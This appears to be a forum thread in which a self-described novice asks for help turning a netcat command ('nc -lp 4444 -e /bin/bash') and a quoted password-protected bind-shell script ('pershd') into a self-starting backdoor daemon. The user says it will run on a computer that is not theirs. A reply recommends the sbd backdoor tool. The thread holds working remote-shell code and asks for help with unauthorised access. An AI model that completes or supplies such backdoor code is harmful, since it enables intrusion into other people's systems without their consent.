-
nc backdoor daemon
need help modifying this script, like nc -lp 4444 -e /bin/bash deamon
1 want the login part gone
2 want it to listen on 4444
3 want it to send /bin/bash on connect
4 and auto start as a daemon
5 open port 4444 to everybody in ip tables
pls help ?
Remote shell demon
With the following shellscript, you can start your personal remote shell demon:
#!/bin/bash
# pershd - personal shell demon
# 2003-02-17 Johannes Franken - jfranken@jfranken.de
# on first invocation, export $PW and $port to subshells
export PW port
if [ $1 ] ; then
port=$1
echo -n pass:
read PW
fi
# do we know the port to listen on?
if [ ! $port ]; then
echo USAGE: $0 port ;
exit;
fi
# wait for further connections (veiling params)
echo "-l -p $port -e $0" | nc 2>/dev/null &
[ $1 ] && exit; # first invocation exit here
# ask for password
unset p
until [ "$p" = "$PW" ]; do
echo -n pass:
read p
done
# received good password. present a shell
bash --noediting -i
When I start this script, it asks me to tell it a password and then waits for connections in the background:
jfranken@tp:~$ ./pershd 1234
pass:secret
jfranken@tp:~$
-
just use sbd, it has most of that stuff built in and is configurable
http://packetstormsecurity.org/UNIX/...indexdate.html
-
ok i gona look in to sbd
, any way i want 2 complet this script to, its gona be a smal nc server running on a computer thats nott mine. . the login part dont have to be removed by the way. iam a n00b so i havent be able to sharpen my bash skils ...working on it tho.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules